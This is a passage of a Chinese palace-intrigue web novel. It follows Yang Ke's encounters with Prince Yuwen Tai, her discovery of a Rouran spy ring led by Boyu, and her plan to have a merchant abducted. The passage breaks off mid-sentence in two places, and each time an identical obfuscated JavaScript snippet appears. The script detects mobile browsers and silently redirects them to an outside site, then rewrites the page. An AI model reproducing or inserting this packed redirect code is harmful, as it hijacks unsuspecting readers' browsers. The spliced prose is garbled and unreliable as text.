这宫中的主人是谁?想到此,她不禁打了个冷颤。此时已是子时,夜深人静,就连方才追捕的侍卫也不见了踪迹。再四顾一圈,地上的毛毯已褪去昔日的鲜艳,边缘也已经有些磨损,空气中弥漫着淡淡的熏香与一丝不易察觉的霉味。这殿内虽极尽奢华,但看来似乎人迹罕至。杨柯不敢继续往下细想,又探头巡视四周,趁着无人之际攀上了屋檐。 她正趴在屋顶瓦片上四处张望,手心不断渗出的汗水浸得砖瓦愈发滑腻,攀附起来也愈发吃力。正当她准备旋身换个姿势时,忽听一阵不疾不徐的脚步声从近处传来,“杨姑娘,大半夜的跑到房顶上趴着,怎么,嫌宫里的床不够硬?” 杨柯循声望去,宇文泰身着便装,正负手站在不远处的一棵树下,眼神中尽是嘲弄。 “怎么是你?”杨柯一时语塞,在这里遇到他,根本就是难逃一劫。况且自己已经与他水火不容,如今又被抓个正着,不知道会不会因此被赶出宫去,转念一想,这样好像也还不错。 他仿佛会读心术似的,悠悠然道:“你若是被我抓回去,可就不止出宫这么简单了。” 杨柯只觉喉头一紧,还未开口,却听他道:“别紧张,直接抓你太无趣了。不如,我们来玩个游戏?” “什么游戏?” “别急。”宇文泰触上她的视线,“我给你两个线索,若你能按照线索找到出路,我就当今晚的事没发生过,如何?” 还有这等好事?眼下似乎也没有更好的选择了,杨柯答应道:“好,一言为定。” 宇文泰随即给出了第一个线索:“月影之下,水波不兴,有桥通幽。” 杨柯愣了一瞬,又立刻望向月亮,发现月光正好洒在一处池塘上,而池塘边果然有一座小桥,看似通往一个较为隐蔽的角落。 她本想直接跳下去,但还是朝四周望了望,确定没有侍卫之后,才轻轻落地,又顺着他给的线索朝小桥跑去。 宇文泰则在不远处跟随,脸上挂着一丝意味不明的微笑。 到了小桥边,为了不暴露身形,她缩在门廊的阴影里,回头望向宇文泰:“第二个线索呢?” 还没等宇文泰开口,乍听见廊桥的尽头响起一阵脚步声。杨柯心下一紧,赶紧环顾四周,搜寻着藏身之处,可这小桥周围空空荡荡,纵使躲在廊柱后也很难不被发现。正心急如焚,忽然被人揽住了腰,身子一轻,眨眼被带进了厢房内。 眼前顿时漆黑一片,宇文泰一手将她箍在身前,另一只手捂住她的嘴。 “唔……”杨柯拼命蹬着脚挣扎,想从他身上离开。 “别出声,”宇文泰俯首在她耳边低语,“现在只有我能帮你。”一股龙涎香顺着他的手传了进来。 “殿下,方才听见您这边有声响,可有贼人的踪影?” “不知道从哪儿来的猫溜进了殿里。”宇文泰的声音在头顶响起,十分淡定舒展。 “是否需要属下……”男子欲进来,宇文泰立刻拦下,“那猫已经找到,这里不需要你了,南侧的几处宫门搜了没有?” “还未……属下这就去!”一阵盔甲撞击之声重又响起,离得他们越来越远。 四周又安静了下来,只听得见杨柯胸膛里响亮的心跳声。她身后传来一声嗤笑:“胆子真小,一个侍卫就把你吓成这样。” 杨柯欲开口反驳,可心跳声却做不了假,只好挣脱开他的双手。可惜视野狭窄,只能通过窗棂里穿入的月光看见很小的亮堂,刚往前一步又撞上了屏风。 “哎哟!”她疼得捂住额头。 宇文泰的笑声更大了,肩膀随着笑意轻轻颤动,害怕他的声音再将方才那人引来,杨柯忙上前捂住他的嘴:“嘘,小点儿声。” 宇文泰眼眸中忽而闪过一丝狡黠,目光直勾勾地,“我反悔了。”说着向她倾身靠近,“这么轻易就放你走,是不是太对不起你立下的豪言壮语了?” 杨柯干咽了一口,脸上挤出微笑:“哪里哪里,我们来日方长,殿下还有机会与我继续较量。” 他轻笑一声:“是么?”指尖轻勾她鬓边一缕发丝,“杨姑娘,不是说一旦向我屈服,就要自废武功么?你这牛皮破得也够快啊。” 杨柯见势不好,小脸一垮,捏起了哭腔来:“殿下,我一介弱女子,如今落得这般田地,你又何苦跟我计较呢?” 宇文泰目光凉凉,丝毫不为所动:“你若真能掉下几颗泪来,我便让你大摇大摆地走出瑞麟殿的大门。” 杨柯顿感无语,这人脾气向来难以捉摸,不知道他下一句又是什么,况且她也没时间再跟他耗下去,索性一个迅速,伸手封住他的膻中穴,不料他眼疾手快,一把将她擒住。 宇文泰冷哼一声:“嘴上抹了蜜一样,但我看你下手可一点儿都不轻。” 杨柯急道:“君子一言,驷马难追。你答应了要放我走,怎能反悔?” 他疑惑道:“谁是君子?” “你!”杨柯气得噎住。 “我?我可不是。” “你想怎么样?” 宇文泰装作思考状,温热气息轻轻扫过她的耳畔:“今日算你欠我一个人情,来日我找你讨要,可不准反悔。” 宇文泰好以整遐地看着杨柯,而她一脸迟疑,二人就这么僵持着。继续耗下去,迟早会招来那帮侍卫,杨柯心一横,侧首向他确认:“你说话可算数?” “当然。” “好,我答应你。” 宇文泰唇角漾出一笑,带着一丝猎物落网的快感:“此刻屋外无人,你可以走了。” 杨柯不敢信他,趴在窗檐上从缝中巡视了一圈,确定无人后,朝 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醒初煞有介事地补充道:“不止如此呢,听小夏子说,其中一个贼人进了瑞麟殿!” 丹橘惊道:“瑞麟殿?那不是……” 乐白出声喝止:“丹橘!” 杨柯疑惑地看着她们,只见丹橘垂首而立,似乎十分懊悔自己嘴快,醒初也垂着头,仿佛瑞麟殿是什么禁语一般。那不就是昨夜闯进的宫殿吗?杨柯又想起了殿内的画轴,感觉十分蹊跷。但见乐白的样子,现在贸然询问恐怕也没什么用,只好装作没事,继续吃饭。 用完午膳后,乐白回到寝殿午憩,醒初走出屋子,杨柯趁机跟了过去:“醒初,方才你们提到那贼人藏在瑞麟殿,可知最后找出来没有?” 醒初闪躲着目光:“这个……奴婢也不知。侍卫们的事情,我们怎么会知道呢。” “哎呀,你家郡主又不在此处,现下就你我两个人,你告诉我,我也不会告诉别人。” 醒初仍是死不松口:“奴婢真的不知。大人,这种事情还是少知道的好。” 杨柯伸出食指:“一盒枣泥酥。” 醒初眼睛一亮,迟疑了一瞬,以甩头作结。 杨柯又伸出两根手指:“三盒,如何?” 醒初蹙眉咬唇,还是摇头。 杨柯无奈道:“五盒枣泥酥,外加一壶碧螺春。” 醒初的瞳孔顿时大了一圈,吞了口唾沫,小脸憋得粉红,左足往地上一顿,终于道:“行,不过枣泥一定要热的。” 杨柯对她一笑:“没问题。” 醒初朝四周望了望,确定无人后,用手笼在嘴边,低声道:“听小夏子说,昨夜连羲王爷也去了瑞麟殿,但好像并未捉到贼人。” 杨柯故作惊讶道:“羲王怎么会去?只是抓个偷酒的贼而已,何必兴师动众?” “姑娘可不知,这瑞麟殿不是一般地方,宫中能进入瑞麟殿的除了陛下和宸妃娘娘,也只有羲王爷了。” 听她这么一说,杨柯更好奇了:“瑞麟殿到底是何人的居所?” 醒初用气声道:“是三皇子的旧居。” “三皇子?他在哪里?好像进宫以来从未听人提起过三皇子。” 醒初赶忙捂上杨柯的嘴,“大人小声些!若是被人听见,我们可就完啦!”她虽害怕,但也是竹筒倒豆子,把话全都倒了出来,“三皇子名唤宇文麟,他是宸妃娘娘第二子,比羲王殿下小两岁。三皇子八岁时得了一场大病,就在十二年前命丧于瑞麟殿内。那之后宸妃娘娘大恸,命人封锁了瑞麟殿,不仅如此,所有人也不许再提三皇子,提者论斩!”说着便抬手做了个手刀的手势,“从此以后,瑞麟殿和三皇子就成了宫里的禁语。众人皆默认宸妃娘娘只有羲王殿下一个孩子。” 她见杨柯神色木然,以为她被唬到了,于是伸手在她面前晃了晃,“大人?大人?” 杨柯忽然惊觉,浑身一震:“噢!”她方才听着醒初的话入了神,思绪飞到了林骞身上,“你方才说,宇文麟八岁时便已丧命,此事当真毫无虚假?” 醒初神色笃定,应道:“绝无半句虚言!殿下的棺椁如今还在皇陵之中安置着。虽说我进宫的时日稍晚,可当年亲历此事的嬷嬷们,都能证实三皇子早已不在人世。” 杨柯点点头,又再闲聊几句后便回到凌薇苑去了。已故皇子成了宫中的禁语,其长相又和宫外的一人全然相同,更巧的是,这些人全叫她碰上了。怪不得第一次见到宇文泰时,她会将其认作林骞。既然宇文麟去世是板上钉钉的事,也许这个巧合正如林骞自己所说,长相相似的人何其多,只不过是皮囊而已。 22.迷情 今晚是芮伊演绎《霓裳羽衣曲》的正式演出,几乎京城所有的男子都会聚到紫英阁,一睹花魁芮伊的芳容。演出时,芮伊舞姿曼妙,惊艳全场。一曲舞罢,芮伊回到房内,取下冠钗,侍女赶忙上前,帮她取下冠钗,伺候梳洗,四周又归于宁静。 突然门被推开,红娘风风火火地走了进来:“芮伊,先别急着洗掉妆容,你猜猜今晚谁来了?” 芮伊拈起梳妆台上的玉梳,镜中眼神疑惑。 “林公子!”红娘语气激动,说着抬手抚上芮伊的肩,“林公子是逍遥居的少爷,出手一向阔绰,今晚他要单独见你。” 芮伊并不为所动,仍是慢悠悠地卸下头上的金钗:“妈妈今日是怎么了,阁里最不缺的便是富家公子,这林公子有何特别,值得妈妈如此兴师动众?” 红娘嗔了芮伊一眼,耐心道:“你有所不知,逍遥居虽不属于官府,但他们在江湖上的地位可是一等一的。咱们紫英阁若是能同逍遥居交上关系,那以后可不得了。” 芮伊停下了手里的动作,红娘眼尖,立刻接道:“今晚妈妈都安排好了,你去了林公子那,好好给他跳个舞,让他高兴了便是。”说着,掏出了怀里的钱袋,里面满满是金元宝,“这些当然不会少。” 芮伊抬手将钱袋退了回去:“妈妈这是什么意思,我本就是紫英阁的人,为紫英阁做事,不是应该的吗?” 红娘听她这么说,心里更高兴了,脸上笑开了花:“紫英阁有你芮伊在,真是我红娘上辈子修来的福分!”说完,便叫门外站着的侍女全都进来,“你们好好给芮伊梳妆,一定要比平时还好看一百倍!” 水榭台上,林骞一身松绿锦袍,倚在看台的檀木雕花椅上,指尖摩挲着青瓷茶盏。左右两位美娇娘正往他嘴里递去青葡萄。 舞台上的轻纱层层叠叠,随风轻轻摇曳。突然房内一暗,众人皆惊,不知不觉间轻纱般的薄雾已缭绕于幽静的水榭之间。只听丝竹之声遥遥传来,随着笛声,琴音缓缓进入。众人恍若来到了山林,眼前是青松绿竹、皎皎明月。黑暗中亮起了一盏明灯,明灯下一名女子莲步轻移,腰肢款摆,翩翩而来,站定于水榭中央的青石台上。 芮伊轻抬玉臂,足尖轻点,仿佛踏波而行。水面上,倒映着她曼妙的身影,与青石台上的倩影交相辉映,分不清是影在水中舞,还是人在画中行。随着乐曲进入高潮,她的舞步也愈发激烈,身姿却仍旧优雅。琴声渐息,她也渐渐收拢双臂,众人皆敛声屏息,生怕惊扰了这幅惊世之画。 “《霓裳羽衣曲》冠绝京城。果真是名不虚传。”林骞一边抬手鼓掌,一边走上青石台,“不知芮伊仙乡何处?”他的手掌轻轻拂过轻纱,似笑非笑,语气暧昧。 “浮萍漂泊本无根,天涯游子君莫问。”芮伊的声音顺着纱幔从另一边滑过来,飘飘忽忽,仿佛林骞手中的纱一般抓也抓不住。 “可我这个人,平生最怕两件事,一是鲜花被人糟蹋,二是美人无枝可栖。”林骞手上突然用力,登时便将薄纱从横梁上拽了下来,落了一地的洁白。 他缓缓地走向芮伊,挑起她的下巴:“不如跟了我去?” 芮伊迎上他的双眸,红唇微张:“只怕公子有心无力。” 林骞唇角弧度渐深,又向她靠近了一分:“若是千金,我也能将你赎回。”说完从怀中掏出一张信纸,递给了芮伊。 芮伊接过,低头凝了一眼:“林公子可当真?这可是你家家宅的地契。” 林骞挑了挑眉,饶是不为所动。 芮伊将信纸还给了林骞,忽地一闪身,脱开了他的牵制,轻俏一笑:“林公子的好意,芮伊心领了,可是林公子有所不知,”她嗔怪地看着林骞,“您的地契,好像是假的。” “假的?”林骞将地契放到眼前,仔细地看了看,怒得狠狠掷向空中,“老头子竟然给我来这一手!” 芮伊笑道:“林公子,你若是拿来真的又如何?这样的说辞,芮伊听得耳朵都起茧子了。” 林骞随意地坐下,靠在椅子上:“那你倒是给我讲讲,还有谁跟你说过?” 芮伊掩唇浅笑,竟真的伸出手指一个一个数了起来:“兵部左侍郎家的赵公子,江南巡抚家的王公子,户部员外郎家的林公子,”说到此处,芮伊轻笑,向林骞挑眉,“也是个林公子呢!” “好了,不用数了。”林骞不耐烦地摆摆手,施施然站起身来,脸上又恢复了调笑,“他们的家世我自然是比不上,不过有谁能像我一样欣赏你的舞姿呢?” 芮伊脸色微微一动,只听林骞道:“你跳的是《霓裳羽衣曲》,但舞步却用了柔然的‘流云回雪’,这种技法只有宫廷乐舞中才会出现。”他微微一顿,目光带着审视,“能这般娴熟运用的,我在其他乐坊也见过。可将其发挥到你这水准的,独你一人。” 林骞一步步向芮伊走去,而芮伊下意识地往后退了一步,又很快挪了回去,但这已让林骞尽收眼底。 “我方才问你从哪里来,你却顾左右而言他。芮伊,你就是如此对待你的仰慕者吗?”林骞眸中幽暗,目光如刀,死死盯着芮伊。 面对着林骞的步步追问,芮伊一直低眉不语,等到他话音落下,再抬起眼时,已是眼中噙泪,长长的睫毛如蝉翼般微微颤动着,两行清泪顺着肤色雪白的脸庞滑落下来。 林骞虽万花丛中过,可见了这番场面,仍是我见犹怜,心里也情不自禁地软了下来。 他抬手拂去芮伊颊边挂着的一滴泪,叹道:“乱世之中,红颜薄命。你若真心告诉我,我便好好待你。” 芮伊哀哀戚戚地道:“林公子方才的猜测并没有错。奴婢本是柔然宫中的一个舞姬,当年大夏攻进了城,我们乐坊所有的女子都被掳到了京城。卖的卖,死的死,芮伊能有今天,全仰仗红娘赏识,救我于危难。” 林骞的眼眸里满是心疼:“竟这般曲折,苦了你了。”一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302719|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉风吹来,掀起了地上的白纱,也拂去了芮伊本就快干涸的泪痕。他神情一收,望向芮伊的眼冷锐至极:“芮伊,我真心待你,可你却还是对我虚与委蛇。一介舞姬,怎么读得懂大夏的文字?” 芮伊也收起了眼泪:“不知林公子何出此言。” 林骞道:“你看得懂我家宅的房契,连假印也都清清楚楚,难道这也是紫英阁教你的?” 芮伊摇头叹道:“我自从跟随俘虏来了大夏,为求生存,逼着自己学你们的语言,读你们的文字。没想到今日,求生的苦心竟被林公子当作虚伪的证据。” 一声清亮的哨音在黑暗中响起,芮伊眼神忽地一凛,林骞自然也察觉到了,懒洋洋道:“哪里来的鸟,半夜也在乱叫?” 芮伊的眼中已是显而易见的慌乱,她垂眸慌忙解释道:“怕是红娘新养的雀儿跑出来了。” 林骞居高临下地审视着芮伊的一颦一笑:“芮伊,你若真在柔然宫廷里待过,应当知道赛比海。” 芮伊脸色一沉,又旋即转为黯然:“赛比海大人的名号自然是如雷贯耳。但柔然如今国力衰微,也不知道他所在何处。” 林骞轻笑一声,凑到她耳边道:“你们的大人现在就在京城,听说,今晚来了紫英阁。” 芮伊浑身一震,看向林骞的眸中满是警惕。 林骞满意地望向哨音的方向,嘴角含笑:“看来红娘在催促我了,下回再来看你。”说完便转身走向里间,独留芮伊立于青石台上。 此刻芮伊的脸上已全然不见方才的楚楚可怜,眸中满是杀意。她飞奔向自己的房内,确认一切正常后,将侍女支了出去,屋里一片寂静。 “姐姐!”只见三名黑衣人齐刷刷地跪在芮伊身前,“请姐姐代阁主惩罚我们吧!” 芮伊沉沉叹了口气,怒得挥手拍向一旁的鎏金柱子:“果真如此!他今日召我,就是为了调虎离山,让我无法与你们联络。” 其中一名黑衣人抬头问道:“姐姐说的是谁?” 芮伊并不理会他,只是问道:“赛比海来紫英阁了没有?” 众人纷纷摇头,个子小的那个说:“他根本没来,上次那封情报是假的!” 另一个年长的说:“不过赛比海今日确实现身,在西城的酒馆里,但早已被人截胡。” “原来这场戏早有安排。”芮伊冷声呢喃,“难道云昌吉那晚无意失言是他故意为之?今日林骞现身紫英阁,分明是想试探我的身份,确认我们是否在紫英阁设下埋伏。殊不知,他们的人早已赶在我们之前,将目标从酒馆掳走了。” “那我们接下来要去哪里抓赛比海?” 芮伊剜了他一眼:“还用问吗?” “逍遥居?” 芮伊怔怔地看向远处:“月圆之前,务必将赛比海抓回来。”话落,她慢慢转过头,那张风情万种的脸上,此刻竟笼着一层冷冽的凄凉,“否则,你我四人,生死难料。” 23.影刃阁 过了几日,杨柯收到了红娘传来的书信,说是江植那边有了新消息。烧完信后,杨柯立即起身奔往紫英阁。刚迈进紫英阁,杨柯便被元英带进了二楼聚义厅:“红娘,上次那事查得如何?” 红娘正斜靠在贵妃椅上,见她进来,也并不动身,只是眉毛一挑:“我红娘办事,你还不放心。” 杨柯见她这副模样,反而更觉放心,也跟着坐了下来,翘首以待。 红娘招手将其余人屏退,随即开口道:“上次你向我提了这事后,好巧不巧,郝掌柜宴请了各地的生意朋友来我这置宴,我趁机和他们喝了几轮,在酒席上套得了些话。” 杨柯疑惑道:“郝掌柜不是人在滁州?为何忽然来了京城?” “这不就巧了?郝掌柜从前也卖过不少粮食给朝廷,可惜他这几年收成不好,也没生意做了,便来京城碰碰运气。” “莫非江老板就是挤走郝掌柜的新粮商?” 红娘嫣然一笑:“正是。”随即语锋一转,“不过郝掌柜说,幸好他脱身得快,前些月换了个漕运使,不知搭错了哪根筋,突然搞了个‘四道轮检’。” “‘四道轮检’是什么?从前难道不是交上货物清单,书吏核对核对,漕兵再上船检查一番就行了?” “是呀,如今呢,每条船还要再让医官和匠作来查,而且这四道程序不得并行,每做完一项就得重新排队。” 杨柯感叹道:“难怪运输周期拖了那么久。” 红娘又道:“沧州有个船户叫王老五,他一船米被查了七日,最后查出稻谷发芽率达三成,整船粮食都被退回,折损了几百两呢!要让我碰见这种事,真得气得心肝儿疼。” 杨柯又道:“这个漕运使好心办坏事,耽误了运粮时间怎么办?” 红娘哼了一声:“你可别被表象给诓骗了。他哪里是为了军粮着想,分明就是来折磨粮商的!”说着猛扇扇子,声音反而低了下去,“过闸的关口还开了个‘顺风茶铺’,你说搞笑不搞笑?” 杨柯蹙眉道:“难道漕运使故意克扣粮船,就是想逼船户们往茶铺行贿,好让船只顺利通行?” 红娘下巴一摆:“我可没说。”忽然又拿扇柄点了点杨柯,“你呀,话别说太实在。有句话叫‘逢人只说三分话,未可全抛一片心。’这叫滴水不漏,像你这样只会叫人拿了话柄。” 杨柯挠挠头:“我这是跟姐姐说话呢,何必藏着掖着。” 红娘斜乜了她一眼:“最好如此!” “既然粮关难过,江老板为何要来蹚浑水?” “他财大气粗,压根儿不怕这些。三天两头在我们这和玉仙楼宴请不少权贵富商,真真让我们这些讨生活的人眼红。”又啧啧嘴,“背靠朝廷就是不一样。” “朝廷?” “是呀。”红娘将手笼在嘴边,“江老板背后是羲王,不少人看见他频繁进出羲王府。” 杨柯心里一跳,宇文泰掌管兵部,如今督粮官也在他手中,若他和粮商联合起来,岂不是无法无天了?“他为何要去羲王府?” 红娘又瘪瘪嘴:“这倒不清楚。做生意的常往当官的家里跑,不是常有的事?” 杨柯又问道:“江老板的船走得快吗?” “快呀,他的船永远是第一批过闸的。有羲王在背后护着,能不快吗?” 红娘见杨柯脸色沉重,不免劝道:“杨公子,你也莫生气,这种官商勾结的事情,在我们生意场上,实在是稀松平常。”听了她这话,杨柯心里更冒火了。 红娘见势态不对,绕开话题道:“今晚芮伊会出去一趟,杨公子你要不要跟着去瞧瞧?” 杨柯果然脸上一亮:“好。” 她照旧在常去的枕流轩内听曲品酒,等到了红娘吩咐的时辰,便动身去探芮伊的动静。果然,芮伊从紫英阁的后门走了出去,杨柯也鸟悄地跟了上去,闷头猫腰地摸了一阵,才发现她的方向竟然是逍遥居! 杨柯屏息停在距离百余步的位置外,不知从哪里又冒出来二人,一个身长如柱,一个秃顶矮胖,两人皆是深目高鼻,跟着芮伊一齐闪进了逍遥居。 过了一炷香的功夫,三人的身影又重新出现。只不过其中一人的背上多了个粗麻袋子。 长柱子道:“还有这等好事,林骞这小刺头不在倒是还好,石介这个老滑头竟然也跑了。” 秃顶道:“他奶奶的,你看见架子上的琉璃盏和断水剑没?小破地儿竟然还有咱柔然的雷击木!” 芮伊喝道:“别废话,快走!迷魂香管不了太久。” 跟着他们来到一处寻常的民宅外,三人从大门走了进去,杨柯从房檐上攀缘着溜了进去。 “公子来了!” “在哪儿?” “正在门厅里等着我们呢,快走吧。” 公子?看来是他们的首领了。杨柯顺着他们的脚步望去,门被打开,从里面缓缓走出一个白衣男子——竟然是伯喻! 为何伯喻会跟柔然的影刃阁混在一起?怪不得上一次他会在芮伊的房间里出现。难道他……杨柯不敢往下想去。 伯喻立于庭院廊下:“刘生那边查得如何?” 芮伊道:“他似乎察觉到了异样,近日行踪并无任何异常。” “继续跟踪。” “是。” 杨柯心中疑惑,为何他们要盯上刘生?难道刘生之前来紫英阁有别的目的?可是刘将军已经随章满将军退居前线,若柔然想要窃取情报,不应该离间前线将领吗? 正思忖着,却听芮伊道:“公子,我们已经将赛比海抓获,他被打晕,就在袋子里。”原来那麻袋里的人竟然是赛比海! “干得不错。赛罕已经知道了赛比海失踪的消息,这几日应该会派人行动了。你们切记小心。” “多谢公子嘱咐。” “最近是否有柳无暇的消息?” “已经将线索交给了赵老板,等他三日后回信。” 杨柯一边听着,视线里却注意到右前方的房檐上也蹲伏着一个黑衣人,手中的弩箭正对向伯喻的方向。 杨柯冷汗顿起,旋即灵机一动,拾起屋顶的瓦片,使劲往地上掷去,哐当一响,成功地引起了他们的警觉:“谁!”电光火石间,一支飞箭“唰”地往伯喻飞去,他已然警觉,侧身一避,羽箭射在了地上。 黑衣人见羽箭射了空,转眼便朝着杨柯攻来。她吓得大声惊呼,黑暗里刺眼的刀光就要从头顶落下来,她迅速扭身逃脱,“唰!”左臂还是被划开了一道口子,外衣应声撕碎。 芮伊看清来人后大喝:“是赛罕的人!” 黑衣人见方才那击落了空,攻势更盛,抬手一挥,一柄飞刀直向杨柯射去,还没等她反应过来,那刀转眼已逼至眼前三寸。 忽然杨柯眼前划过一道亮光,尖刀被横射过来的飞镖猛地拨开,视线调去,伯喻已奔至她身侧,大手将她腰间一揽,她已被往后带了一大截。 黑衣人见两次攻击皆失败,陡然抽出腰间另一把长刀,朝着他们的方向直直砍去,划过空气的呼啸之声似也带着攻势,穿破了耳膜。 “啊!”忽听一声痛号炸开,“哐当!”长刀落地,杨柯本躲在伯喻怀里,微眯开眼看去,黑衣人的脖子里紧紧当当地插着三把飞刃,嘴里不停地呕出鲜血,双眼瞪得巨大,接着扑通一声倒地。 她头一回见到如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311779|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨烈的死状,一时愣在原地,尚未察觉到芮伊已经上前:“公子,可有受伤?” 伯喻摆了摆手:“附近清除干净没有?” 秃顶站在几步远的地方叱道:“这王八孙子也不多叫点儿人来。附近就只这一个。”话音落下,众人皆松了口气,接着目光又落到了杨柯身上。 除了伯喻,其余三人的表情皆如凶神恶煞一般。 她结结巴巴道:“各……各位,我……我就是路过。” 芮伊笑中带刀:“杨姑娘,芮伊记得,您方才在紫英阁内正酣睡着呢。” 她干笑着接道:“这不是睡醒了出来走走逛逛嘛。” 长柱子冷哼一声:“小姑娘没事儿上人家里来干甚?” 伯喻开口道:“你们先下去吧,让我来处理。” 三人面面相觑,表情若有所思,但还是收起凶意,沉默着离开。 “阿柯,跟我来。”说完,伯喻领着杨柯进了房间。 她内心忐忑,一面矛盾着伯喻游移于大夏和柔然两国的行径,另一面又担心他是否会因恶行被发现将自己毁尸灭迹。 杨柯正埋首思索着,却感到一只大手抚上了头。 伯喻眉眼含笑地看着她:“阿柯是不是觉得,我在通敌叛国?” 她抬眸瞅他,咕哝道:“常人见了,应该都会这样想吧。” “我本就是一半的柔然人。”他的眼神坚定,直直望进杨柯的眼底,杨柯不由得退后半步,“那你要背叛大夏吗?” 伯喻将视线移向一边,神情中带了些黯然:“若你认为和柔然人合作就是通敌,那么我也算是。” 杨柯疑惑道:“合作?你们合作做甚?” 他缓缓道:“合作的目的并非损己利人。我身上一半的血缘来自柔然,但仍有一半属于大夏。背叛大夏的事,我断然不会做。” “可芮伊她们为何要埋伏在京城?” “大夏与柔然如今敌对,但实际上,两国的关系并非应该如此。我想,你应该听闻过我的母亲瑾妃。若她还在世,或许大夏和柔然依旧能维持和平。”他转眼望向窗外,神色茫茫,“你方才所见之人,皆来自影刃阁这个组织。十年前,我母亲过世后,他们便找到了我。你放心,影刃阁的目的,只是为了平息两国的战火,而非经由我祸害大夏朝政,这样的事,我也不会容许。” 杨柯的脑子飞速运转,伯喻这番话到底有多少真假,她没法判断。但她只知道,无论是师父还是公孙,他们都十分肯定伯喻这么多年来对大夏的奉献。 最终,情意和理智都战胜了怀疑,她忽而感到无比地轻松,目光真切地望向伯喻:“我相信你。” 伯喻眼神迷离,嘴角含笑道:“阿柯为何会在这里?不是答应了我不再去紫英阁吗?” 杨柯被他陡然这么一问,半是甜蜜半是尴尬:“我通过一个朋友得知了芮伊的身份特殊,便跟着她来了。” “你的朋友来自逍遥居?” 杨柯本想扯个理由搪塞过去,可伯喻已经对她坦白,她若承认也不会暴露林骞的身份,于是点头。 伯喻无奈一笑:“果然,他们早就盯上影刃阁了。” 杨柯疑惑道:“逍遥居竟如此盛名在外?” 他沉吟不语,终了才开口道:“他们虽是江湖组织,但和大夏朝廷脱不开关系。影刃阁来自柔然,自然会引起他们的注意。” 杨柯担心着上前询问:“那你呢?你会被发现吗?” 伯喻笑着安慰她道:“阿柯放心,我会易容术,常人很难发现我的身份。” 杨柯松了一口气,随即又不好意思起来,期期艾艾道:“那就好,那就好。” 24.绑架 杨柯从影刃阁那里离开后,一面揣度着适才伯喻的话,一面思索着江老板与宇文泰的事。正走着,忽见街上有个摆摊儿的,挂着面黄旗,坐着一人,穿着污灰长褂子,一对黄薄眉,一双枣核眼,脸上笑呵呵的,好像见了谁都不得罪。 杨柯心中大喜,忙上前道:“西北悬天一枝花,天下绿林是一家。” 这人面朝着右侧,也不看杨柯,倒是对她的话有了反应:“姑娘是行内人?” 杨柯并不回答,而是问道:“阁下可是老荣家的?”她所说的老荣家,就是江湖上暗八门“蜂麻燕雀、花兰葛荣”里的荣门,虽说荣门干的都是鸡鸣狗盗之事,可他们并非拦路打闷棍的小毛贼,而是独来独往的大偷。 杨柯一脸期待地望着他,可这人只是道:“姑娘若有事,直接说事就是了。” 她反应过来,跑江湖的哪里会把自己的身份放在嘴边,于是也不多问了。继续道:“大哥,我有一笔买卖找你做。” 那人朝着行人道:“请说。” 杨柯抬手在他眼前晃了晃:“大哥,你在和我说话吗?” 他仍不动,只是不耐烦道:“有什么事就说。” 杨柯移了移步子,站在他面前道:“大哥?” 这人又调转过去,还是将右首朝向杨柯:“我说,你有什么事就讲。” 这人的脑袋偏偏不肯转过来,顺着他的视线望去,也不知道在跟谁说话,杨柯不耐道:“大哥,跟你说话呢,你在看哪儿啊?” 对方更加恼火了:“我他妈看着你呢!” 杨柯凝神细看,敢情这人是个斜楞眼儿。于是不好意思地笑道:“对不住啊兄台,对不住。”心里倒是奇怪着,干偷盗的怎么还生了个斜眼呢? 斜眼哼了一声:“比我的眼神还差。”随即又打量着她道,“姑娘想办什么事呐?” “事情倒也简单。帮我办个人。” “怎么说?” “我把人迷晕,你们到时候进来帮我驮到别处去就是。” “这个好说。” “那人会去紫英阁,你在外面等着我的招呼,到了时间过来干活就是。” “只要姑娘给的足够,我们办事包你满意。” 杨柯笑嘻嘻地点头,从怀里拿出一个钱袋,递给他:“这些,够吗?” 斜眼掂了掂,啧啧嘴:“姑娘,就给这么点儿?” “五钱银子还不够多?” 斜眼苦着脸道:“快过年了,一家老小都等着嚼口儿呢。” 杨柯无奈,又从怀里掏出一把银子,放在手心里,数了数,足足三两。 那斜楞眼儿看的眼睛都直了,嘿嘿痴笑道:“够了够了。”说着就要伸手接过钱袋,杨柯一把收回,嬉笑道:“急什么,事儿还没办呢。” 斜眼急道:“哎呀,哪有办事不给钱的?” 杨柯伸出另一只手递给了他两钱银子:“话还没说完,这是定金,等到事成再给你剩下的,如何?” 斜楞眼儿虽仍不满意,但这笔肥差可是千年难遇,他可不想到嘴的鸭子就这么飞了,只好悻悻然答应了下来。 几日过去,杨柯收到了红娘的消息,赶来了紫英阁。 红娘见了她,压低了声儿道:“江老板现在在四楼的雅间,今天刚好就他一个人。”说完又把立刻启步的杨柯拉住,“切记不可闹出人命来!我这儿可担不起。” 杨柯笑道:“红娘多虑了。”说完,便往江老板所在的方向奔去。 红娘看着她的背影,摇头慨叹:“还真是个小祖宗,”双手合十,“菩萨啊菩萨,希望今晚风平浪静。”话刚说完,余光瞥见众人中间一个身着玄金色长衫、面带半截面具的男子款款步入门内。见这俊俏公子进来,红娘脸上霎时光彩四溢,嘴角快要翘到天上去了:“哟,公子,第一次来紫英阁?” 公子点点头,不疾不徐地开口:“你们这的花魁是谁?” 